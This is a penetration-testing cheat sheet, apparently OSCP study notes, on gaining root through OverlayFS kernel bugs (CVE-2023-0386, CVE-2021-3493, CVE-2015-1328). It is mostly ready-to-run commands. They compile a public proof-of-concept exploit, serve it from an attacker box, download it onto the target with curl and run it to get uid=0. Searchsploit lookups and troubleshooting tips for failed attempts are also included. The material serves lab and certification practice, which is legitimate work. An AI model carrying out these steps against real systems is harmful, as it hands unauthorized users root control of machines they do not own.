OverlayFS — Privilege Escalation
Ctrl+F:
OverlayFS·CVE-2023-0386·CVE-2021-3493· FUSE · copy-up ·unshare
Multiple OverlayFS bugs allow local root via user namespaces + crafted mounts — copy SUID/capabilities from a nosuid lower layer incorrectly. Common on Ubuntu 22.04 lab boxes (CVE-2023-0386).
→ Linux > 📌 9) Kernel Exploits · linux-exploit-suggester
📌 OSCP-relevant CVEs
| CVE | Kernel / distro | Mechanism |
|---|---|---|
| CVE-2023-0386 | 5.11 – 6.1.8 | FUSE lower + overlay copy-up retains SUID on upper |
| CVE-2021-3493 | Ubuntu OverlayFS | User namespace + Ubuntu-specific overlay bug |
| CVE-2015-1328 | Ubuntu 12.04–15.10 | Legacy overlayfs privesc |
Most seen lately: CVE-2023-0386 on Ubuntu 22.04 (kernel 5.15.x, 5.19.x).
📌 When to try
| Signal | Check |
|---|---|
| Ubuntu + kernel 5.11–6.1 | uname -r · /etc/os-release |
| LES flags OverlayFS / 0386 / 3493 | ./linux-exploit-suggester.sh -f uname.txt |
unshare available | unshare -r true (user namespaces) |
uname -a
cat /etc/os-release📌 CVE-2023-0386 — reference links
| Resource | URL |
|---|---|
| xkaneiki PoC | github.com/xkaneiki/CVE-2023-0386 |
| DataDog single-binary | security-labs-pocs/overlayfs-cve-2023-0386/poc.c |
| dragosbanica PoC | CVE-2023-0386_POC |
Requires: gcc, often libfuse-dev (compile on Kali if target lacks headers)
📌 Exploit — CVE-2023-0386 (DataDog poc.c — exam-friendly)
Single static binary — common OSCP workflow:
# Kali — compile (needs libfuse-dev)
apt install -y libfuse-dev
wget https://raw.githubusercontent.com/DataDog/security-labs-pocs/main/proof-of-concept-exploits/overlayfs-cve-2023-0386/poc.c
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
python3 -m http.server 8080# Target
curl http://KALI:8080/poc -o poc
chmod +x poc
./poc
id
# uid=0(root)xkaneiki repo (multi-file)
git clone https://github.com/xkaneiki/CVE-2023-0386.git
cd CVE-2023-0386
make
./exp # read README — may need fuse helper in second terminal📌 CVE-2021-3493 — Ubuntu OverlayFS
searchsploit CVE-2021-3493
searchsploit overlayfs ubuntu
# Common: exploit/linux/local/49171 or similar — verify on Kali
./linux-exploit-suggester.sh -f uname.txt -s CVE-2021-3493Qualys / Ubuntu-specific — targets Ubuntu kernels with overlay user-ns bug.
📌 CVE-2015-1328 — legacy Ubuntu
Old boxes only (12.04–15.10 era):
searchsploit CVE-2015-1328
searchsploit overlayfs 37292📌 searchsploit / MSF
searchsploit overlayfs
searchsploit CVE-2023-0386
searchsploit CVE-2021-3493📌 Troubleshooting
| Problem | Fix |
|---|---|
| User namespaces disabled | sysctl kernel.unprivileged_userns_clone — may block exploit |
| FUSE / compile errors | Build static binary on Kali, transfer only poc |
| Wrong CVE for kernel | Match LES output — 0386 vs 3493 vs 1328 |
| Box crash | Kernel exploit — retry once, then other vectors |
📌 Quick cheat sheet
uname -r && cat /etc/os-release
searchsploit CVE-2023-0386
# Kali compile DataDog poc
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
./poc && id📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration